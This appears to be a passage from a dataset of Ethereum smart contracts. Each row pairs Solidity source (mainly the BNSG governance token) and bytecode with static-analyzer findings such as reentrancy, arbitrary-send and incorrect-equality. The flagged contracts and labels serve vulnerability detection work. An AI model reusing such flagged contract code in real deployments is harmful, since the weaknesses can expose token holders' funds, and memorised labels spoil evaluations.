2616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205f18fd4208e5619250897286953409d64010c73eb429c8ad6f00ea734868968664736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,490 |
0x0018e66a1dea81fdd767cbb15673119b034b5cf2 | pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
abstract contract Token {
function transferFrom(address from, address to, uint256 value) public virtual returns (bool);
function balanceOf(address account) external virtual view returns (uint);
}
contract BNSG {
/// @notice EIP-20 token name for this token
string public constant name = "BNS Governance";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "BNSG";
address public bnsdAdd;
address public bnsAdd;
address public admin;
uint96 public bnsToBNSG; // how many satoshi of BNS makes one BNSG
uint96 public bnsdToBNSG; // how many satoshi of BNSD makes one BNSG
// Formula to calculate rates above, Ex - BNS rate - 0.06$, BNSG rate - 1$
// bnsToBNSG = (BNSG rate in USD) * (10 ** (bnsDecimals))/(BNS rate in USD) = (1e8/ 0.06) = 1666666666
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint96 public constant maxTotalSupply = 10000000e18; // 10 million BNSG
uint96 public totalSupply; // Starts with 0
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
bool public rateSet;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor() public {
admin = msg.sender;
_mint(admin, 805712895369472282718529); // Amount of token minted in version 1, will be airdropped to users
}
modifier _adminOnly() {
require(msg.sender == admin);
_;
}
/**
* @notice Add bns and bnsd addresses
*/
function setAddresses(address _bns, address _bnsd) external _adminOnly returns (bool) {
bnsAdd = _bns;
bnsdAdd = _bnsd;
return true;
}
/**
* @notice Add rates for bns to bnsg and bnsd to bnsg
*/
function setTokenRates(uint96 _bnsRate, uint96 _bnsdRate) external _adminOnly returns (bool) {
bnsToBNSG = _bnsRate;
bnsdToBNSG = _bnsdRate;
if(!rateSet){
rateSet = true;
}
return true;
}
/**
* @notice Mint `BNSG` by buring BNS token from msg.sender based on current rates on contract
* @param amountToMint The number of BNSG tokens to be minted
* @return Whether or not the minting succeeded
*/
function mintBNSGWithBNS(uint96 amountToMint) external returns (bool) {
require(rateSet, "BNSG::mint: rate not yet set");
require(amountToMint >= 1e18, "BNSG::mint: min mint amount 1");
uint96 _bnsNeeded = mul96(div96(amountToMint, 1e18, "BNSG::mint: div failed"),bnsToBNSG, "BNSG::mint: mul failed");
require(Token(bnsAdd).balanceOf(msg.sender) >= _bnsNeeded, "BNSG::mint: insufficient BNS");
require(Token(bnsAdd).transferFrom(msg.sender, address(1), _bnsNeeded), "BNSG::mint: burn BNS failed");
_mint(msg.sender, amountToMint);
_moveDelegates(delegates[address(0)], delegates[msg.sender], amountToMint);
return true;
}
/**
* @notice Mint `BNSG` by buring BNSD token from msg.sender based on current rates on contract
* @param amountToMint The number of BNSG tokens to be minted
* @return Whether or not the minting succeeded
*/
function mintBNSGWithBNSD(uint96 amountToMint) external returns (bool) {
require(rateSet, "BNSG::mint: rate not yet set");
require(amountToMint >= 1e18, "BNSG::mint: min mint amount 1");
uint96 _bnsdNeeded = mul96(div96(amountToMint, 1e18, "BNSG::mint: div failed"),bnsdToBNSG, "BNSG::mint: mul failed");
require(Token(bnsdAdd).balanceOf(msg.sender) >= _bnsdNeeded, "BNSG::mint: insufficient BNSD");
require(Token(bnsdAdd).transferFrom(msg.sender, address(1), _bnsdNeeded), "BNSG::mint: burn BNSD failed");
_mint(msg.sender, amountToMint);
_moveDelegates(delegates[address(0)], delegates[msg.sender], amountToMint);
return true;
}
function _mint(address account, uint96 amount) internal virtual {
require(account != address(0), "BNSG: mint to the zero address");
totalSupply = add96(totalSupply, amount, "BNSG: mint amount overflow");
require(totalSupply <= maxTotalSupply, "BNSG: crosses total supply possible");
balances[account] = add96(balances[account], amount, "BNSG::_mint: transfer amount overflows");
emit Transfer(address(0), account, amount);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "BNSG::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "BNSG::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "BNSG::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "BNSG::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BNSG::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "BNSG::delegateBySig: invalid nonce");
require(now <= expiry, "BNSG::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "BNSG::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "BNSG::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "BNSG::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "BNSG::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "BNSG::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "BNSG::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "BNSG::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "BNSG::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function div96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b != 0, errorMessage);
uint96 c = a / b;
return c;
}
function mul96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
if (a == 0) {
return 0;
}
uint96 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | 0x608060405234801561001057600080fd5b50600436106101da5760003560e01c8063836a458011610104578063b4b5ea57116100a2578063e427323611610071578063e4273236146103ba578063e7a324dc146103cd578063f1127ed8146103d5578063f851a440146103f6576101da565b8063b4b5ea5714610379578063c3cda5201461038c578063c8e884891461039f578063dd62ed3e146103a7576101da565b806395d89b41116100de57806395d89b4114610343578063a05966311461034b578063a9059cbb1461035e578063ac132cc814610371576101da565b8063836a45801461032057806390107afe146103285780639308a76c1461033b576101da565b80634fbc7b731161017c5780636fcfff451161014b5780636fcfff45146102c757806370a08231146102e7578063782d6fe1146102fa5780637ecebe001461030d576101da565b80634fbc7b7314610277578063587cde1e1461028a5780635c19a95c146102aa5780636ea00c17146102bf576101da565b806320606b70116101b857806320606b701461023257806323b872dd146102475780632ab4d0521461025a578063313ce56714610262576101da565b806306fdde03146101df578063095ea7b3146101fd57806318160ddd1461021d575b600080fd5b6101e76103fe565b6040516101f49190611ddb565b60405180910390f35b61021061020b366004611bb4565b610428565b6040516101f49190611d61565b6102256104e7565b6040516101f491906121ff565b61023a6104fd565b6040516101f49190611d6c565b610210610255366004611b74565b610521565b61022561066a565b61026a610679565b6040516101f491906121f1565b610210610285366004611cdb565b61067e565b61029d610298366004611b25565b6106f8565b6040516101f49190611d21565b6102bd6102b8366004611b25565b610713565b005b61029d610720565b6102da6102d5366004611b25565b61072f565b6040516101f491906121c1565b61023a6102f5366004611b25565b610747565b610225610308366004611bb4565b61076b565b61023a61031b366004611b25565b610982565b610210610994565b610210610336366004611b40565b61099d565b6102256109ea565b6101e7610a00565b610210610359366004611cb4565b610a20565b61021061036c366004611bb4565b610c9f565b61029d610cdb565b610225610387366004611b25565b610cea565b6102bd61039a366004611bde565b610d5a565b610225610f66565b61023a6103b5366004611b40565b610f75565b6102106103c8366004611cb4565b610fa9565b61023a6111dc565b6103e86103e3366004611c3d565b611200565b6040516101f49291906121d2565b61029d611235565b6040518060400160405280600e81526020016d424e5320476f7665726e616e636560901b81525081565b60008060001983141561043e5750600019610463565b610460836040518060600160405280602581526020016123b560259139611244565b90505b3360008181526004602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104d39085906121ff565b60405180910390a360019150505b92915050565b600354600160601b90046001600160601b031681565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6001600160a01b03831660009081526004602090815260408083203380855290835281842054825160608101909352602580845291936001600160601b0390911692859261057992889291906123b590830139611244565b9050866001600160a01b0316836001600160a01b0316141580156105a657506001600160601b0382811614155b156106505760006105d083836040518060600160405280603d81526020016122ee603d9139611273565b6001600160a01b038981166000818152600460209081526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106469085906121ff565b60405180910390a3505b61065b8787836112b2565b600193505050505b9392505050565b6a084595161401484a00000081565b601281565b6002546000906001600160a01b0316331461069857600080fd5b600280546001600160a01b0316600160a01b6001600160601b038681169190910291909117909155600380546001600160601b031916918416919091179055600a5460ff166106ef57600a805460ff191660011790555b50600192915050565b6006602052600090815260409020546001600160a01b031681565b61071d338261145d565b50565b6000546001600160a01b031681565b60086020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600560205260409020546001600160601b031690565b60004382106107955760405162461bcd60e51b815260040161078c90611fd9565b60405180910390fd5b6001600160a01b03831660009081526008602052604090205463ffffffff16806107c35760009150506104e1565b6001600160a01b038416600090815260076020908152604080832063ffffffff60001986018116855292529091205416831061083f576001600160a01b03841660009081526007602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506104e1565b6001600160a01b038416600090815260076020908152604080832083805290915290205463ffffffff1683101561087a5760009150506104e1565b600060001982015b8163ffffffff168163ffffffff16111561093d57600282820363ffffffff160481036108ac611ae0565b506001600160a01b038716600090815260076020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b03169181019190915290871415610918576020015194506104e19350505050565b805163ffffffff1687111561092f57819350610936565b6001820392505b5050610882565b506001600160a01b038516600090815260076020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60096020526000908152604090205481565b600a5460ff1681565b6002546000906001600160a01b031633146109b757600080fd5b50600180546001600160a01b038085166001600160a01b0319928316178355600080549185169190921617905592915050565b600254600160a01b90046001600160601b031681565b60405180604001604052806004815260200163424e534760e01b81525081565b600a5460009060ff16610a455760405162461bcd60e51b815260040161078c90611fa2565b670de0b6b3a7640000826001600160601b03161015610a765760405162461bcd60e51b815260040161078c90612111565b6000610afd610abc84670de0b6b3a764000060405180604001604052806016815260200175109394d1ce8e9b5a5b9d0e88191a5d8819985a5b195960521b8152506114e7565b600354604080518082019091526016815275109394d1ce8e9b5a5b9d0e881b5d5b0819985a5b195960521b60208201526001600160601b0390911690611539565b6000546040516370a0823160e01b81529192506001600160601b038316916001600160a01b03909116906370a0823190610b3b903390600401611d21565b60206040518083038186803b158015610b5357600080fd5b505afa158015610b67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8b9190611c9c565b1015610ba95760405162461bcd60e51b815260040161078c906120da565b6000546040516323b872dd60e01b81526001600160a01b03909116906323b872dd90610bde9033906001908690600401611d35565b602060405180830381600087803b158015610bf857600080fd5b505af1158015610c0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c309190611c7c565b610c4c5760405162461bcd60e51b815260040161078c9061218a565b610c5633846115a0565b60066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f85433600090815260409020546106ef916001600160a01b0390811691168561173b565b600080610cc48360405180606001604052806026815260200161226b60269139611244565b9050610cd13385836112b2565b5060019392505050565b6001546001600160a01b031681565b6001600160a01b03811660009081526008602052604081205463ffffffff1680610d15576000610663565b6001600160a01b0383166000908152600760209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60408051808201909152600e81526d424e5320476f7665726e616e636560901b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fdca12347a860f27d7e58e61797e6dee0d07e1058b24a5ebb7bb585ffb282b296610dcc6118cd565b30604051602001610de09493929190611d99565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001610e319493929190611d75565b60405160208183030381529060405280519060200120905060008282604051602001610e5e929190611d06565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610e9b9493929190611dbd565b6020604051602081039080840390855afa158015610ebd573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610ef05760405162461bcd60e51b815260040161078c90611ea8565b6001600160a01b03811660009081526009602052604090208054600181019091558914610f2f5760405162461bcd60e51b815260040161078c90612148565b87421115610f4f5760405162461bcd60e51b815260040161078c90611f25565b610f59818b61145d565b505050505b505050505050565b6003546001600160601b031681565b6001600160a01b0391821660009081526004602090815260408083209390941682529190915220546001600160601b031690565b600a5460009060ff16610fce5760405162461bcd60e51b815260040161078c90611fa2565b670de0b6b3a7640000826001600160601b03161015610fff5760405162461bcd60e51b815260040161078c90612111565b600061108f61104584670de0b6b3a764000060405180604001604052806016815260200175109394d1ce8e9b5a5b9d0e88191a5d8819985a5b195960521b8152506114e7565b600260149054906101000a90046001600160601b031660405180604001604052806016815260200175109394d1ce8e9b5a5b9d0e881b5d5b0819985a5b195960521b815250611539565b6001546040516370a0823160e01b81529192506001600160601b038316916001600160a01b03909116906370a08231906110cd903390600401611d21565b60206040518083038186803b1580156110e557600080fd5b505afa1580156110f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111d9190611c9c565b101561113b5760405162461bcd60e51b815260040161078c90611e71565b600180546040516323b872dd60e01b81526001600160a01b03909116916323b872dd9161116e9133918690600401611d35565b602060405180830381600087803b15801561118857600080fd5b505af115801561119c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c09190611c7c565b610c4c5760405162461bcd60e51b815260040161078c90611f6b565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600760209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b6002546001600160a01b031681565b600081600160601b841061126b5760405162461bcd60e51b815260040161078c9190611ddb565b509192915050565b6000836001600160601b0316836001600160601b0316111582906112aa5760405162461bcd60e51b815260040161078c9190611ddb565b505050900390565b6001600160a01b0383166112d85760405162461bcd60e51b815260040161078c90612020565b6001600160a01b0382166112fe5760405162461bcd60e51b815260040161078c9061207d565b6001600160a01b038316600090815260056020908152604091829020548251606081019093526036808452611349936001600160601b0390921692859291906122b890830139611273565b6001600160a01b03848116600090815260056020908152604080832080546001600160601b0319166001600160601b039687161790559286168252908290205482516060810190935260308084526113b1949190911692859290919061232b908301396118d1565b6001600160a01b038381166000818152600560205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061141e9085906121ff565b60405180910390a36001600160a01b038084166000908152600660205260408082205485841683529120546114589291821691168361173b565b505050565b6001600160a01b03808316600081815260066020818152604080842080546005845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46114e182848361173b565b50505050565b6000816001600160601b0384166115115760405162461bcd60e51b815260040161078c9190611ddb565b506000836001600160601b0316856001600160601b03168161152f57fe5b0495945050505050565b60006001600160601b03841661155157506000610663565b8383026001600160601b03808516908087169083168161156d57fe5b046001600160601b03161483906115975760405162461bcd60e51b815260040161078c9190611ddb565b50949350505050565b6001600160a01b0382166115c65760405162461bcd60e51b815260040161078c90611eee565b61161b6003600c9054906101000a90046001600160601b0316826040518060400160405280601a81526020017f424e53473a206d696e7420616d6f756e74206f766572666c6f770000000000008152506118d1565b600380546bffffffffffffffffffffffff60601b1916600160601b6001600160601b03938416810291909117918290556a084595161401484a0000009104909116111561167a5760405162461bcd60e51b815260040161078c90611e2e565b6001600160a01b0382166000908152600560209081526040918290205482516060810190935260268084526116c5936001600160601b03909216928592919061238f908301396118d1565b6001600160a01b03831660008181526005602052604080822080546001600160601b0319166001600160601b03959095169490941790935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061172f9085906121ff565b60405180910390a35050565b816001600160a01b0316836001600160a01b03161415801561176657506000816001600160601b0316115b15611458576001600160a01b0383161561181e576001600160a01b03831660009081526008602052604081205463ffffffff1690816117a65760006117e5565b6001600160a01b0385166000908152600760209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061180c828560405180606001604052806028815260200161224360289139611273565b905061181a86848484611904565b5050505b6001600160a01b03821615611458576001600160a01b03821660009081526008602052604081205463ffffffff169081611859576000611898565b6001600160a01b0384166000908152600760209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006118bf8285604051806060016040528060278152602001612291602791396118d1565b9050610f5e85848484611904565b4690565b6000838301826001600160601b0380871690831610156115975760405162461bcd60e51b815260040161078c9190611ddb565b60006119284360405180606001604052806034815260200161235b60349139611ab9565b905060008463ffffffff1611801561197157506001600160a01b038516600090815260076020908152604080832063ffffffff6000198901811685529252909120548282169116145b156119d0576001600160a01b0385166000908152600760209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b03851602179055611a6f565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600783528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600890935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611aaa929190612213565b60405180910390a25050505050565b600081600160201b841061126b5760405162461bcd60e51b815260040161078c9190611ddb565b604080518082019091526000808252602082015290565b80356001600160a01b03811681146104e157600080fd5b80356001600160601b03811681146104e157600080fd5b600060208284031215611b36578081fd5b6106638383611af7565b60008060408385031215611b52578081fd5b611b5c8484611af7565b9150611b6b8460208501611af7565b90509250929050565b600080600060608486031215611b88578081fd5b8335611b938161222d565b92506020840135611ba38161222d565b929592945050506040919091013590565b60008060408385031215611bc6578182fd5b611bd08484611af7565b946020939093013593505050565b60008060008060008060c08789031215611bf6578182fd5b611c008888611af7565b95506020870135945060408701359350606087013560ff81168114611c23578283fd5b9598949750929560808101359460a0909101359350915050565b60008060408385031215611c4f578182fd5b611c598484611af7565b9150602083013563ffffffff81168114611c71578182fd5b809150509250929050565b600060208284031215611c8d578081fd5b81518015158114610663578182fd5b600060208284031215611cad578081fd5b5051919050565b600060208284031215611cc5578081fd5b81356001600160601b0381168114610663578182fd5b60008060408385031215611ced578182fd5b611cf78484611b0e565b9150611b6b8460208501611b0e565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b0393841681529190921660208201526001600160601b03909116604082015260600190565b901515815260200190565b90815260200190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b81811015611e0757858101830151858201604001528201611deb565b81811115611e185783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f424e53473a2063726f7373657320746f74616c20737570706c7920706f737369604082015262626c6560e81b606082015260800190565b6020808252601c908201527f424e53473a3a6d696e743a20696e73756666696369656e7420424e5300000000604082015260600190565b60208082526026908201527f424e53473a3a64656c656761746542795369673a20696e76616c6964207369676040820152656e617475726560d01b606082015260800190565b6020808252601e908201527f424e53473a206d696e7420746f20746865207a65726f20616464726573730000604082015260600190565b60208082526026908201527f424e53473a3a64656c656761746542795369673a207369676e617475726520656040820152651e1c1a5c995960d21b606082015260800190565b6020808252601b908201527f424e53473a3a6d696e743a206275726e20424e53206661696c65640000000000604082015260600190565b6020808252601c908201527f424e53473a3a6d696e743a2072617465206e6f74207965742073657400000000604082015260600190565b60208082526027908201527f424e53473a3a6765745072696f72566f7465733a206e6f742079657420646574604082015266195c9b5a5b995960ca1b606082015260800190565b6020808252603c908201527f424e53473a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e736665722066726f6d20746865207a65726f206164647265737300000000606082015260800190565b6020808252603a908201527f424e53473a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e7366657220746f20746865207a65726f2061646472657373000000000000606082015260800190565b6020808252601d908201527f424e53473a3a6d696e743a20696e73756666696369656e7420424e5344000000604082015260600190565b6020808252601d908201527f424e53473a3a6d696e743a206d696e206d696e7420616d6f756e742031000000604082015260600190565b60208082526022908201527f424e53473a3a64656c656761746542795369673a20696e76616c6964206e6f6e604082015261636560f01b606082015260800190565b6020808252601c908201527f424e53473a3a6d696e743a206275726e20424e5344206661696c656400000000604082015260600190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b0392831681529116602082015260400190565b6001600160a01b038116811461071d57600080fdfe424e53473a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773424e53473a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473424e53473a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773424e53473a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365424e53473a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365424e53473a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773424e53473a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473424e53473a3a5f6d696e743a207472616e7366657220616d6f756e74206f766572666c6f7773424e53473a3a617070726f76653a20616d6f756e7420657863656564732039362062697473a2646970667358221220efbc0faa8e4ec4b930c21368e01b7fac2dab95b0648e0328d598d95e4cfbae2664736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 1,491 |
0xA6446D655a0c34bC4F05042EE88170D056CBAf45 | pragma solidity ^0.4.23;
// ----------------------------------------------------------------------------
// ERC20Interface - Standard ERC20 Interface Definition
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies Limited.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Based on the final ERC20 specification at:
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
